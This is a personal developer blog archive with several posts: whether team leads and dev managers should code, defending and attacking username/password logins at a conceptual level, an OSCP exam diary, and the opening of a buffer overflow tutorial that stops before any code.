Should Team Lead and Dev Managers code?

TLDR – Yes but choose the right things to work on

Over the last few years I have been mulling over how much hands on coding I should be doing in various technical leadership roles.

The Pendulum

Charity Majors some years back wrote an article I really like titled the Engineer/Manager pendulum.

One of the things Charity proposes is that some of the best managers are never more than 2-3 years from individually contributing and vice versa.

This makes sense to me as:

  • I think its an unavoidable truth that in software development over a short time your technical skills will atrophy, you’ll get rusty and whilst you might read some articles you came across on Twitter about some new way of doing things in React that seems overly complex its really not the same as getting your hands dirty with some good old development and breaking some stuff
  • Software doesn’t exist in a vacuum and understanding how to get things done and the constraints and challenges a wider organisation faces will change how you approach development (honestly every dev should probably try it at some point you’ll be better dev for it)

Whilst it’s almost impossible to be a very good manager and amazing developer at the same time (i’ll discuss why shortly) I want to discuss why if you are in a software development leadership role of some description I think its important that you remain hands on to an extent and explore some ways you can do this.


Before I get into my er mind dump/rant that i’ve re-written several times I want to note that I have never done a CTO or head of engineering role so can’t comment on what’s required here. I’m writing primarily for the perspective of Team Leads and Dev Managers and whilst I suspect some of what I will talk about still applies for more senior roles it seems likely that coding may not be the best use of a very senior leaders time.

I have worked in various development roles including various levels of Developer, Practice Lead, Team/Technical Lead & Principal consultant for organisations of various sizes. I have led small and large teams and been responsible/supported up to 7 concurrent teams/projects (would not recommend).

In my current role I have a mix of responsibilities but spend probably just under half my time coding with the rest of time made up of a mix of people lead and non-coding project tasks.

Technical Role “Progression”

So most organisations tend to organise development roles around some variation of the following structure:

Junior/Grad -> Developer -> Senior Developer -> Team/Tech Lead -> Dev Manager -> Group lead

At some point you will be promoted/encouraged/pushed/ into some kind of technical leadership role (some with considerable effort have managed to avoid this and seem very happy with this decision which is awesome).

As the roles get more senior you probably (whether you like it or not) have some additional responsibilities or even an entire change in focus.

You likely get paid more for taking on additional responsibilities or responsibilities for others (whether things should be this way is another discussion).

You’ve shifted from being paid to write code to helping others build stuff.

At times this is going to feel like you have made a deal with the devil.

Additional responsibilities in no particular order could include but are not limited to:

  • Working out what you are building and which items to prioritise (surprisingly time consuming)
  • Working with team members to make sure they understand what you should be building (who’d ideally be engaged in the working out stuff but frequently are not). This is also surprisingly time consuming
  • Supporting/advising/mentoring your team
  • Actually doing some dev work and building something (although you feel as if you have less and less time to do this due to the various other items..)
  • Attending various status & update meetings
  • Catch-ups and People Leadership with your team (surprisingly time consuming despite the 20-30 min per person your HR department pretends will be sufficient)
  • Quarterly/Annual Reviews
  • Interviewing new candidates/contributing to recruitment
  • Various other company initiatives
  • Working on proposals/contracts
  • Architecture discussions
  • And there’s probably a heap of other items..

All of this means that you of course have a lot less time to code.

Oh and did I mention the context switching you’ll have to do?

One minute you may be trying to work out why John just cant get on with Sandra and the next you may be interviewing a new front-end developer candidate who’s turned up late.. but wait Functional Dean wants to talk to you about why everything should be written in Haskell (this would be cool but there’s more important stuff and only Dean knows Haskell).


Adding additional responsibilities can result in a lot of a context switching which as we know makes coding really hard and I think its fair to say that Management and Software Development are opposed in many ways.

So er should you be doing coding anyway?

You may be advised by some well-meaning colleagues and perhaps your boss to stop coding altogether so you can spend more time doing what you “should be doing” – uplifting, enabling etc etc.

I’m almost certain they are wrong.

Let me explain – there is a reasonable perspective that if you are in some form of technical leadership role your focus is the team rather than as an individual contributor.

The thinking is that you should be enabling and uplifting your team and that you need to see the big picture rather than be in the detail about why say the project shouldn’t be upgraded to .NET 6 yet.

Additionally, if you are doing all the coding yourself then this can mean you are not giving the opportunity for your team to learn how to resolve problems themselves (I had a manager who did all the interesting work then left us to fix the numerous bugs and it was very annoying).

Long term this will also have long term repercussions for your organisation if you were to leave and the team cannot work alone.

However this ignores some big items:

Tech changes rapidly

You no longer understand how the solution works which makes it hard to assist the team

Over time you wont speak the same language as the team

Like most things in life however there is a balance to be had here and as a warning it is not easy to find.

Why you should remain coding

Whilst your hands on coding time will (and should) reduce in a leadership role I do think its important you remain coding/hands on.


  • It will be less than when you were an individual contributor
  • It will feel uncomfortable as you’ll likely no longer be the most technical person and up to date with the latest library features/changes
  • You’ll need to ask for help and advice from the team at times – they are working with this stuff every day and you will benefit from their input

I believe the advantages of remaining hands on outweigh the small-time commitment this can take:

  • You’ll understand better how the systems you and your teams are responsible for actually work – reading documentation/your orgs confluence pages can help but really isn’t the same as getting your hands dirty and getting first hand experience of a deployment pipeline that fails at random points
  • You will understand the issues your team are dealing with. I loved that a previous manager pulled down the solution code and worked through the setup himself. At the time it was challenging to get the solution going. This manager now had first hand experience of this pane and could advocate why this needed to be fixed up asap
  • You will know better how to empower your teams and help resolve issues when they occur
  • Software and practices move quickly and your skills and knowledge will certainly atrophy over time and this is unescapable
  • At times management/leadership can feel very lonely and empty. You’ll get a lot of satisfaction combining both enabling others and making small contributions/refinements (we’ll discuss this in a minute)

I’ve got too much stuff to do already how do I fit some dev in?

But I hear you ask how do you do this when you have thousand things to do?

First of all no one is going to say to you “hey Alex make sure you are making time to do some coding ” (especially if your name is not Alex) so you’ll have to do it yourself.

If you are worried about using company time then think how much time is wasted by various other activities that you er “have to do”. Yep that’s right your company can spare a few hours and if they wont then find another company (seriously).

Hopefully however you can work this out so let’s talk about what you should be working on.

What should I work on?

Remember that now you are in a lead role your focus is your team and organisation.

You do need to be interruptible and flexible at times if your team need your guidance or help which means that there are some items that are very much more suitable for you to work on when you are in a leadership role.

As a general rule you don’t want to be taking on any critical, core or very large items as:

  • You’ll get in the way of your team(s)
  • It will stress you out as you’ll know you need to complete these other items but have a heap of other work as well and John and Sandra are still arguing over something that really doesn’t seem that big a deal and Dean as we speak is converting everything to Haskell when there’s more important stuff he should be doing..
  • You take away an opportunity for a team member to learn

Some suggestions on how to do this

  • Find some stuff to work on – good candidates for items to work on include:
    • Smaller tasks such as bug fixes or small features
    • Documentation updates (you know this hasn’t been done in a while)
    • Build, deployment and process improvements
    • Security and performance improvements
  • Book regular time to think, read-up and do some dev and train your organisation/teams that you are not available during this time. You will need blocks of at least 30 minutes and you really want at least 2-4 hours a week and more depending on your role
  • Select an area or initiative that you are passionate about and see what you can do to drive it within your organisation. I’m enjoying learning about security the last few years so have focussed on this but maybe for you its Devops, Observability or database tuning – what can you do around this for your organisation?
  • Depending on your circumstances you might enjoy small fun projects/open source in your own time. This isn’t for everyone and family responsibilities etc can leave little time or energy for this. Something fun however doesn’t feel like work and can be relaxing
  • Consider being hands on for a longer stint to get your skills up to date again (a smaller pendulum?)

In conclusion whilst it can be hard to find the time to code in technical leadership roles I propose the benefits will outweigh a small time commitment.

Further Reading

I really like Charity Majors article the engineer-manager pendulum – check it out at

Managing Humans is a great book that has several discussions around this area:

Attacking (and defending) username/password based systems – Part 2

In my previous post we looked at how an attacker might circumvent username/password based systems and saw there were several possibilities for attacking these.

In this article I want to look at this scenario from the perspective of the defender and look at what we can put in place to circumvent some of these attack methods.

Do you really want to implement this stuff yourself?

Before we look at implementing this ourselves I want to start off by saying that in many circumstances you are going to be much better off using an existing identity service such as Auth0 or Azure B2C (and there are many other options) rather than handling this yourself.

Companies such as Auth0 and Microsoft put a heap of work into creating very secure and feature rich implementations that have been tried and tested.

Additionally, most of these solutions will come with support for various other features such as MFA (Multi-Factor-Authentication), password reset flows, logging, alerts etc all of which would take a long time to build yourself (and some important features like logging and alerts tend to get forgotten).

These solutions are also pretty cheap at least until you get into having high numbers of users where you can probably afford to pay for them anyway.

However, let’s say for whatever reason you cant use one of these options how can we make our login system as secure as possible?

Multi Factor Authentication

You probably are not going to be too surprised to find this as the number one item.

We can divide the types of authentication into:

  • Something we know such as a password or PIN
  • Something we have e.g. a Yubikey, RSA token or smart phone MFA App
  • Something we are and that is unique like a finger print, retina etc

MFA based authentication simply means using more than one of these items.

Its highly unlikely (or at least very much harder) that an attacker will posses multiple of these items at once.

MFA will likely prevent (or make much harder)

  • Brute force/password spray/credential stuffing attacks
  • Could alert a user that someone’s trying to log in as them e.g. with an authentication prompt on a mobile device
  • Even if an attacker can capture (keylogger) or sniff a login over the network they still will need something else to get in

There are however downsides to consider:

  • Additional friction for login – but friction that’s almost certainly worth it for the benefits it provides
  • Can be complex for some users and require use of a modern mobile device which may make it unsuitable for some classes of users
  • Its hard to implement yourself and you’ll likely end up using a third party service which will incur a cost
  • You’ll need a way of resetting this when users lose/forget however you are implementing this

There’s a great blog post by Microsoft’s Alex Wienert (Director of Identity Security) who examines some of the attacks they see on Azure Active directory.

Alex says “based on our studies, your account is more than 99.9% less likely to be compromised if you use MFA.”

Alex also notes that most attackers tried between 10 & 50 passwords before moving on.

Microsoft put together a good paper on advice for password handling that you can read for free.

Some MFA systems can also be configured to block weird behaviour e.g. multiple login attempts from a different location or a login attempt from a location the other side of the world providing additional security protections.

There’s been some discussion around the security of SMS based MFA solutions over the years. Part of this is due to some really rather dumb and trusting processes by telecoms companies to authenticate callers before they port a mobile number (e.g. asking for easily discoverable information). Whilst other non SMS methods are probably more secure most users will have a phone and this means they dont have to install additional software. This makes SMS a pretty good option for some cases.

Disable account after series of invalid logins

Automatically disabling an account after a set number of invalid logins is easy to implement and will almost certainly prevent an attacker brute forcing an account.

Where this gets trickier is that this can become a denial of service vector and allow an attacker to prevent a user accessing their own account!

There’s a few ways you could handle this but probably the easiest is to disable the account for a short period of time and provide a way to enable it again e.g. by time limited email link.

Ensure secure connection

Ensure connections to your login page (and subsequent pages as these will contain authentication related cookies/tokens too!) are made over a secure connection.

Its trivial for an attacker using a tool such as Wireshark or Tcpdump to sniff information being sent over a network such as login details but a secure connection will prevent this.

A certificate will also provide reassurance the user is logging into the correct site – although I’ve seen many organisations use some entirely different domain addresses to their main site which is a bit confusing.

Ensure Passwords are complex but er not too complex

Ensure users set passwords with sufficient complexity to avoid easy brute force attempts.

Perhaps you could even use one of the smaller lists at to check the password is not in a top 1000 password list for example.

There’s a balance to having sufficient complexity requirements to make a password hard to guess/brute force crack and encouraging users to find (insecure) ways to remember it!

Forcing rotation of passwords also needs to be balanced against this as most users will just increment a number on the end or something similar.

Don’t restrict characters, length or truncate passwords

Restricting characters, length or truncating a password reduces its complexity and there’s really no good reason (maybe integration with something really old that cant be changed?) to do this.

Store passwords securely

OWASP provide detailed advice on the best way to do this – at the time of writing they suggest the hashing function Argon2id (I hadnt heard of this either) with 2 iterations and 1 degree of parallelism. Note that Argon2id also salts the password to make it harder to crack.

Don’t give anything away with your invalid login messages

Provide the same response for valid/invalid usernames and passwords and if an account is locked out to prevent an attacker using this as an enumeration method. Even subtle changes in rendered HTML like an extra whitespace character could be used to give away details of whether a username is valid or if an account is now locked out.

Logging & Alerts

Whilst there will always be some perfectly legitimate invalid logins where users have forgotten their password or made a typo you’ll probably want to know if there are 100 or 1000 of attempts on an account or a heap of attempts from the same IP address (be aware applications and scripts that will rotate through servers or proxies to avoid this).

Having some form of an alert system can allow you to take a decision on how you want to handle this such as blocking the IP address/network or disabling the account.

Logging is really important as allows you to understand what has happened, where the issues may be and potentially could be important if an attacker gains access to further systems. You may even need it for legal action.

Obviously don’t store your logs in the same place as your solution as guess where an attackers going first if they are successful getting onto your system..

Ensure Users Keep their details up to date

You’ve probably seen that annoying prompt every so often from sites where they check your contact details. Whilst some are probably doing this to spam you it is important these details are up to date so they can contact you and potentially have a way for you to re-enable your account if it is blocked.

Require the user to enter their password to perform a sensitive functions

Privileged operations such as change of email address or password should require additional authentication to prevent say an attacker changing a password or transferring money if a machine has been unlocked or perhaps a CSRF attack.

Make your solution Password Manager friendly

Password managers are a great solution to the problem of having to remember a heap of logins. Some sites disable features such as paste into login boxes or prevent the use of certain characters which can stop password managers working so well. Don’t make your users lives harder these tools make it easy to use complex passwords across sites.

Be wary about using the same authentication systems externally and internally

Whilst it may be very convenient to have an externally facing web application you have developed use your internal networks active directory (and there’s some benefits of centralisation or legitimate use cases) this could very much weaken your network security by providing another (and likely very much weaker point) to attack. E.g. if there’s an issue in your application that it could be potentially used to gain wider access depending on how this is implemented.

Don’t use/allow highly privileged accounts to login in remotely

This is probably veering off the appsec side of things which is where I want to focus but you probably should not connect remotely using highly privileged accounts as this could provide an opportunity for an attacker. Instead have separate privileged accounts that are just used when required.

Be aware of language specific issues

Some languages and frameworks provide special functions to compare password hashes. Note that some languages/frameworks e.g. PHP have some issues you should be aware of such as Magic hashes.

Geographical and time restrictions

Are you users only located in one country?

If so restricting to requests to a specific country could prevent evil bots that crawl the internet discovering your service and make it slightly harder for attackers.

Obviously, there are a heap of ways around this such as VPNs, use servers in another country etc so this should only be used in conjunction with some of the other methods we’ve discussed.


In summary:

  • Don’t build this stuff yourself unless you have to
  • Use industry standard protocols such as OAuth
  • Use MFA
  • Disable accounts after a number of invalid login attempts
  • Enforce balanced complexity requirements
  • Ensure you have alerting and logging in place

Further Reading

OWASP have a great cheat sheet to implementing authentication:

Attacking (and defending) username/password based systems – Part 1

As part of my current focus on Appsec I wanted to explore various security areas that either had common issues or I found interesting to research and write about.

I thought I would start with your everyday Username and Password functionality as:

  • Almost every application or service has some form of this. Even my young kids know how this system works as they attempt to shoulder surf my iPad password and gain access to unlimited Peppa Pig access
  • It’s arguably the weakest point of a system (excluding some form of manipulation/social engineering) and also the one that can provide the most value to an attacker
  • There’s some easy to implement defences that can make an attackers job much, much harder

Where did usernames and passwords come from?

It seems very likely that some form of secret phrase or sign has been used since ancient times as a form of authentication and there’s records of various code systems reliant on a passphrase or secret knowledge being used in ancient times.

The computer based username/password system we’re all familiar with was invented in the early 1960’s by Dr Corbato at MIT who was developing an operating system called the Compatible Time Sharing System or CTSS to its friends.

At the time computers supported just a single concurrent user and the good doctor was developing a way to divide up the processing power of a computer allowing more people to make use of its resources.

Usernames/Passwords were introduced as a solution to hide away files and folders from other users accessing the same machine. You can read more about this on the BBC’s site.

The problem(s) with Username & Passwords

Whilst a Username and Password system is a (mostly) convenient approach to authenticating a user and straight forward to implement* it has 3 big flaws:

  • It requires a human to remember something – and er the vast majority of humans are not very good at this and there’s certainly a limit to the number of things that we can all remember
  • A username/password generally requires a secret to be transmitted from one machine to another over a network which of course leaves opportunity for someone to intercept these communications
  • Username and passwords can be very annoying to regularly enter leading folks to find easier (and less secure) ways to make this easier such as short, easy to enter passwords

* There’s certainly some traps waiting to catch you out as we’ll see

So how might an attacker approach the humble login?

Whilst you are probably familiar with some techniques we’ll discuss such as brute forcing a login let’s put ourselves in the position of an attacker and consider all the ways we could go about attacking an application or solution.

This is a good exercise to carry out with your own solutions (threat modelling) and various frameworks such as STRIDE assist with this.

Of course not all applications are equal and a system designed to hold confidential info or deal with financial transactions is likely to attract more malicious interest than your cat’s fan page (if your cat is of interest to nation state actors then I wish you the best of luck).

Having said this poorly secured applications can (and have) provided a stepping stone for an attacker to gain entry into a network or system. Over the years I’ve seen many dev focussed solutions or systems that perform some highly privileged functions (e.g. talking to databases/copying code/allowing file upload/transfer) that are poorly protected, not maintained or forgotten about and could just provide the entry point someone malicious is looking for..

Obligatory Warning – don’t do illegal stuff and get fired/sued/go to Jail etc

Before we talk about approaches it should go without saying that you should never try any of these methods or tools on services you don’t own or have written permission to.

Attempting to gain unauthorised access is illegal and using some of the techniques we’ll discuss against stuff you don’t have permission to could see you ending up in jail.

If you want to learn how to use some of the tools and techniques there’s plenty of great services that offer VM’s you can legitimately target to develop your skills such as TryHackMe, HackTheBox or deliberately vulnerable applications such as the OWASP juice shop.

We’ll also be developing our own sample application shortly to attack and then implement defences for.

Attacking Approaches

Username and Password functionality initially seems to offer limited attacking options given its simplicity.

Well, there’s actually rather a lot of options and below is a list of things I could come up with in a short time and I’m sure there are more that more experienced folks could think of.

Default logins

It is unfortunately rather common for folks to leave default login credentials on services. Hardware devices such as routers are particularly bad for this and indeed you’ve probably seen this yourself in organisations you work in or with.

A quick google with the name of a service or device will soon locate a default login for a device or application if one exists and given the low effort to do this I suspect this would be one of the first things an attacker might try.

The other pretty common approach is to have a login that’s the same as the product name due to lack of imagination e.g. “payroll”, ” payroll”.

Guessing common logins

It’s pretty common for folks to create dumb passwords many of which should know better. Combinations of strings such as “admin”, “root”, “administrator” or “password” & “password123” will likely be tried given how common this is and the ease of which it can be done.

It is also pretty common for organisations to append the month, season or year on common terms e.g. winter2021 or <companyname>winter2021 so this approach may be tried too.

Guessing credentials with a bit of research/OSINT

If you know some of the users of a system (say via a LinkedIn search or even just a look on company website’s staff page) a bit of research may yield likely passwords candidates.

Maybe one of the potential users is blogging/tweeting about a particular sports team or hobby this could yield potential password options.

Another option an attacker could take might be to find out a supplier or partner that possesses login details and utilise these.

Credential Stuffing

Credential stuffing is where attackers use a list of credentials from other systems in the hope that users have reused them. There are many password dumps around and paid services to make them easy to search.

My favourite example of this was in Darknet Diary episode about the LinkedIn breach and Donald Trump. Can you guess what Trump’s Twitter password was in ~2013 when he was the host of a popular TV show?

Using a list of passwords

There are many lists of common and real passwords compiled from login dumps at sites such as

Attackers can make use of tools such as Hydra and Burp that make it easy to utilise these lists and test for valid logins. These tools send a large amount of requests and then responses can be compared to check for signs of a successful login e.g. specific text such as “Logged in successfully”, different HTTP status codes or content length. With a fast connection and machine hundreds of thousands of passwords can be tried very quickly.

Trying every possible combination of characters, numbers and symbols

Whilst this will likely take a while and is very noisy this approach it will eventually yield results especially if there are no complexity requirements on your passwords.

This could also crash a poorly written application resulting in a Denial of Service.

Buffer Overflow

A buffer overflow in a login function is probably one of the most critical issues an application could have due to its ability to be exploited remotely. This very issue occurred in SLmail 5.5 and is now often for teaching buffer overflow concepts.

Username Enumeration

You might be thinking ok I can see how you can try various passwords from lists etc but how will an attacker know the username?

There’s several options an attacker could take to find out a username such as:

  • Some systems may leak details of usernames (e.g. a blog that shows the username on posts)
  • Maybe it’s a popular system that most folks will use and their email/username can be found elsewhere
  • An easy to guess system is used such as an incrementing number
  • It may be possible to setup a user yourself to work out the format
  • Forgotten password functionality could expose valid/invalid usernames (we’ll go back to this)
  • Valid usernames could be enumerated by sending a large amount of requests and examining timing differences that may occur when a valid username is supplied. Some older versions of SSL in a certain configuration suffer from this and there is even a metasploit module to check/exploit this.


If somethings been transmitted over a network then there is the potential for it to be intercepted unless its transmitted using secure protocols.

Of course, some attackers (e.g. government agencies) almost certainly possess the resources to read even encrypted communications.

Certificate based attacks and SSL stripping

Whilst communications can be sent over SSL if an attacker can redirect them to an unsecured connection or somehow obtain the certificate key or compromise the certificate issuing authority then communications could be intercepted.

Tricking users into using a fake login page

If an attacker can somehow trick users into using what appears to be a legitimate login page maybe via phishing or social engineering they could then pickup their credentials and forward them onto the real site and the user be non the wiser.

There’s some scary real world examples of this such as Tunisia, Facebook incident back in 2011.


If a user is already logged into an application and CRSF defences are not utilised it may be possible with approaches such as phishing emails to access privileged functionality especially if it doesn’t require login details to be re-entered.

User manipulation/Coercion

Whilst I think most folks are becoming aware that they shouldn’t share their login credentials or hand them over the phone its likely there are many folks that could be tricked into handing over credentials. Think a phone call from “IT Support” that just need your credentials to do..

Some users could be enticed/bribed, blackmailed or threatened into revealing important details.

Denial of service

It might be possible for an attacker to create a high load on a system by bombarding it with login requests and prevent anyone else from using it.

Looking for unsecured areas of the application & poorly implemented session handling

Whilst not strictly a login issue there may be unsecured components in an application that don’t even need valid login details that could be found by directory busting using tools such as gobuster.

If you can guess a users session identifier you could potentially take it over.

Using credentials of inactive users or staff that have left

Many organisations have a huge number of systems that their staff will use and it can pretty hard without centralised authentication to ensure that access is disabled.

We all know how good most companies are at making sure all access is disabled.. (not very).

SQL Injection

Hopefully not so common now but authenticating against a database is pretty common and it may be a poor implementation vulnerable to SQL injection. I should note this issue seems to crop up fairly regularly in training environments/CTF machines so worth checking for.

Insecure implementations of Remember Me functionality

Some applications will supply a cookie to the users so they can avoid having to login to an application again. Poor implementations may store a user id in a form that can be easily modified to elevate access.

Insecure Password Reset

Going to a password reset page may allow an attacker to determine if a username is valid or not. For example the attacker could enter a username to test and the application may indicate whether the login was valid or not with a message such as “invalid username” or even tiny differences in the HTML returned.

Sometimes password reset functionality may ask questions to authenticate a user. Unfortunately some of these questions can be pretty easy to find out such as a persons date of birth (quite likely on social media), school etc. See Sarah Palin hack for an example of where attackers used this approach.

Keystroke logging

An attacker could add a malicious program or device to log users keystrokes. I’ve seen some financial applications implement a keypad that appears at random positions to try and mitigate this. Whilst this probably raises the bar if someone has a keylogger on your machine they could grab screen images too..

Physical changes on a device

This is more relevant for physical security devices such as a keypad entry system that due to physical characteristics may reveal the login detail. I remember seeing a keypad recently where 3 keys were very visibly more used than others. Guess which 3 keys are likely to be used in the entry code..


As you can see there are many potential options – can you think of any others?

Join me in Part 2 where we’ll begin to implement a .NET Core application for playing with Offensive and Defensive techniques and look at how we can defend against most of these methods we’ve discussed above.

Further reading

Yet another OSCP exam experience post..

A few weeks back I took the OSCP exam and wanted to put together a post about my experiences along with some links to resources I found useful.

I’ll begin by saying this was without a doubt the toughest exam I have done and probably the most stressful!

I began the OSCP/PWK course back the end of September 2020 and signed up for 2 months lab time. I originally scheduled the exam for Jan but ended up pushing it out to March as pretty much burnt myself out coming up to Christmas.

Part of this burn out was due to my (now previous) job role and the other was trying to do this course in with a full time job and single parent to 2 young kids. If you are wondering whether to do the PWK course whilst it is very rewarding it also is intensive and will require a significant investment of your time unless you are already doing this stuff as a career.

Offsec are rightly very strict about disclosing any details of the exam so I obviously wont be able to talk about the specifics so don’t ask!

My Strategy

After reading a heap of posts about other exam experiences and approaches I decided I’d approach the exam with the following strategy:

  • As it takes a while to enumerate a machine fully I might as well focus on the higher points machines and reach 70 points as quick as possible (passing mark) This meant I’d attack the buffer overflow (25pt) then another 25 pt followed by whichever 20pt looked easiest
  • I would begin with the Buffer overflow machine and run scans on the other machines in the background to make good use of time
  • I created a word doc for each machine and I’d write the steps and paste the screenshots in as I went along to hopefully avoid missing anything
  • If I got stuck for more than 2 hrs I would rotate to another machine – its very easy to get stuck on something that is not going to work from my lab experience
  • I put together a OneNote notebook of approaches for different ports/services and common commands that I would work through. Its very easy to forget to test something especially in stress of exam

My day went like this:

Of course my day ended up quite different to my original plan and went like this:

7:30 – I setup the proctoring software and wait nervously for exam connection details to arrive. Setup was straight forward and once running you don’t really notice it. It is worth noting that you do seem to occasionally need to click the proctoring window otherwise they’ll ping you to get you to share your camera again which is a bit distracting if you are in the middle of stuff

8am – VPN Details arrive and exam begins! I start on the buffer overflow using my pre-prepared scripts and approach. I kick off scans for the other machines

10am – Buffer overflow done and documented. I’m feeling good. In practice I got the buffer overflow process down to around 20 min in tryhackme room but it takes longer in the exam to do screenshots etc. I double check I have everything I’ll need for the report. I look over the scans for the other machines and continue with my strategy with approaching the higher value machines first

12:00 – Hmm i’m not making much progress on the 25 pointer I decided to take a look at one of the 20pt machines opting for the one with less services running..

13:00 – I got some lunch and had a walk around outside for 20 min to clear my head. I’m already feeling quite tired from 5 hours or so of this and the stress of the exam with only one machine complete..
I continue and I decided to take a look at the 10 pointer to get hopefully a quick win and some of my confidence back. This unfortunately doesn’t happen and I’m unable to make any progress on what I’d expected to be the easiest box pointwise which is er really discouraging ☹

15:00 – Really starting to feel pretty down about lack of progress as had hoped to complete a machine by now. Starting to wonder if I’ll end up chalking this whole exam up as a learning experience. I decided i’ll probably call it a day if I haven’t got any further by 20:00 (12hrs exam)

16:30 – Finally some progress on 25 pointer and I obtain low privilege access. Also realise I could have had this in the morning if I hadn’t made a dumb mistake..  !#$@

17:30 – Yay full access and 25 pointer done. Hmm start to feel a bit better as I “only” need another 20pts to pass which seems achievable in 12hrs

18:00 – Get some dinner and watch a bit of TV to clear head

19:00 – Try one of the 20 pointers for a couple of hours

20:00 – No luck on 20 pointer so switch to the other

20:30 – Yay low priv shell on 20pt!

22:00 – Root access and a sigh of relief as I now theoretically have enough points to pass 😊

23:00 – I double/triple check my notes and make sure I have a heap of screenshots. I find I’m missing a couple of steps so have to do them again grrr

23:30 – Go back to the 10 pointer – why is this so damn hard?!

01:00 – Get a really crappy 3 hours or so of sleep. I’m quite wired at this point from the stress and excitement of exam (and a few cups of coffee and cola)

05:30 – I wake up and have another go at 10 pointer with a few other things I thought to try

07:00 – Last check of notes, tidy up some items

07:45 – Exam ends. I’m actually quite glad about this as don’t want to look at any more machines, do any more labs etc

I then went and took a walk to get a big coffee and treated myself to a big almond croissant 🙂


I have to write a lot of reports and proposals in my role so this is probably a strength for me.

During the exam I had been writing up the machines as I go along in separate Word documents. This makes it easier to edit each individually before pulling them into one report.

I decided to use the offsec official reporting template as figure this will make it easier for them to mark and will def contain everything they want to see.

I spend the next 6-7 hours or so writing up the report and double/triple checking I haven’t missed anything and that the format, filename etc is correct – I’d hate to screw up some minor detail now!

Finally I submit report and am absolutely exhausted and i’m pretty wrecked the next day as well but luckily have taken it off.

Then just under 48hrs later I then get the confirmation I have passed 😊


  • Don’t give up – I really very nearly decided to call it a day after making little progress for 8 or 9 hours but ended up passing. Stuff can come together really quickly once you find the “thing” and this could be just around the corner..
  • For the Buffer Overflow create fuzzer/overflow scripts prior to the exam and practice the approach several times on the tryhackme room or dobufferoverflowgood (see below). These 25pts are likely to be the easiest points you’ll get on the exam
  • Buffer overflow machine first and scans in background seems a good approach to make good use of time
  • I’m not sure whether beginning with 25pt was a good idea or not. It was quite disheartening not to make any progress for a while and put me in a negative mindset which I suspect made finding stuff more challenging
  • The points value of a machine may not reflect its difficulty – I’d love to know what I was doing wrong with the 10pt machine!
  • Don’t underestimate the impact of the exam stress and tiredness will have on you. I suspect I wouldn’t have struggled with some of these machines outside of the exam environment
  • Take lots of breaks to clear your head. The exam is very tiring and this is a marathon not a sprint. You have plenty of time
  • Dont plan on doing much after the exam – you’ll likely be exhausted. I’m er not sure whether 48hr exam format is a great idea healthwise tbh
  • Screenshot everything and leave shells open with a big history. I had to go back and get some pics of items I had missed as closed shell terminals which wasted time
  • Double check everything – you dont want to find you have missed a key screenshot

So what’s next?
I’m enjoying learning more about infosec and am currently reading Web Application Hackers handbook and working through PortSwigger web security labs.

The Portswigger labs are actually intended as the 3rd edition of the book (to make it easier to keep up to date) and whilst the book was published a while ago it still contains some very relevant content and this will be a great reference for years to come so I have a hard copy of this.

I have a play project I am working on to create a deliberately vunurable.NET core app that I’ll post more about shortly..

Study Tips

  • Get comfortable with debugging stuff and using tools such as TcpDump, Burp etc. Ippsec has some great examples of this in his videos and it will help you understand whats really going on. Note how he’ll start with the simplest thing to check if it works before expanding onto something more complex to check connectivity before finally trying things like a reverse shell
  • Dont rely on Metasploit when practicing. Remember in exam you only get to use this awesome tool on one machine
  • What is your weak area? For me it was Linux skills and privesc so I focussed on these. After you’ve done so many labs and have the approach nailed down you are probably better off focussing on weaker areas rather than doing yet another machine


Below is a list of resources I found useful for preparing for the exam:

  • Ippsec HTB Videos. I tried to watch two of these a week and learnt a heap of techniques, approaches and Linux tips and tricks. Highly recommend and they are quite entertaining at times as well
  • Rana’s HTB machine writeups. Rana’s walkthroughs are really detailed and I read every single one prior to the exam.
  • Hacktricks book. This is really detailed and covers a lot of material including stuff to try on each port/service


  • Proving Grounds. Make sure you do the paid one/Practice machines are fairly similar to lab. I liked that these after 90 min provide an optional tip for scanning, initial foothold, privesc through to full walkthrough if you get stuck
  • Hack the box. You’ll want the paid VIP subscription to access retired machines. These all have walkthroughs and plenty on the web. The online VM works really well but is ParrotOS

Buffer Overflow:

  • Tib3rius TryHackMe Bufferoverflow Prep room. This is likely the best prep you can do and there’s a sample application with several variations, some well known apps like slmail all conviently on one VM
  • Tib3rius bufferoverflow script. I took the fuzzer and overflow scripts, modified them and added comments to describe step by step what to do. I then did two or 3 of the tryhackme buffer overflow challenges each week leading up to the exam
  • DoBufferOverflowGood Tutorial by Justin Steven. This is a really detailed explanation and tutorial that helped me understand a few things

I generally could get onto a box and found privesc the hardest aspect so really focussed on this area making use of the following:

Finally I wish you the best of luck if you are taking the exam. Its important to remember if it doesn’t work out that there are some really awesome folk in the industry who ended up taking this exam multiple times – I really liked Ian Coldwater’s tweets regarding this and they contain some great advice.

Beginning Buffer Overflows (saved return pointer overwrite)

Most technical folks will have some level of familiarity with the concept of buffer overflows and the impact they can have.

Offensive Security’s OSCP/PWK course was the first time I’d gone through the process step by step to create one.

You’ll find several write-ups of how to perform this process but I wanted to write this up myself as:

  1. It helps me get the idea concrete in my own mind and writing this out forced me to answer some questions I didn’t understand – and it raised a few more questions for me too!
  2. You need to know how to do this to pass the OSCP exam and this seems to be an area that scares folks – especially those with an infra rather than dev background which is understandable. I think this is a shame as the steps seem straight forward, can be practiced and its worth a massive 25% of the total possible exam marks. This seems an easier 25 marks than exploiting the “hard” 25pt box
  3. I found the concepts interesting 😊

If you find any technical mistakes here please let me know as I’m still learning this stuff and want to know 🙂

Very Important! Only run on services/machines you own or have permission to

It should go without saying but you must only run this stuff on services or machines that you own or have permission to perform this on and be sure to update the code for your own setup.

Running stuff like this on machines you don’t have permission to could get you into a lot of trouble/cause damage/even Jail..

With that out the way the good news is that there are plenty of really good and legal options to practice this stuff such as:

  • Locally in a VM with various intentionally vulnerable apps (I’ll discuss how to do this shortly)
  • TryHackMe have a room with many examples for practicing ()

Other items of note

We should note that this is probably the simplest possible example of a buffer overflow possible.

Modern applications are compiled with special options (ASLR etc) that will make this process much harder/impossible and modern operating systems have additional checks to prevent this naughtiness.

There’s all sorts of stuff I don’t understand yet designed to prevent this from randomising addresses to putting stuff on the stack and checking it’s still there (stack canaries).

However don’t think however that Buffer Overflows don’t occur any more as there are many examples in some well known applications and they continue to be a massive issue.

Credits – Justin Steven Do Stack Buffer Overflow Good Tutorial

I’m going to base most of the code from code in Justin Steven’s awesome tutorial. This is a really great tutorial and I highly recommend you work through it as he goes into a lot more detail than I will.

Be sure as well to check out the Cyber Mentor’s Buffer Overflows made easy series on YouTube – I love how he explains stuff.

What you will need to follow along

If you want to follow along with my example that’s based on DoStackBufferOverflowGood tutorial you’ll need the following:

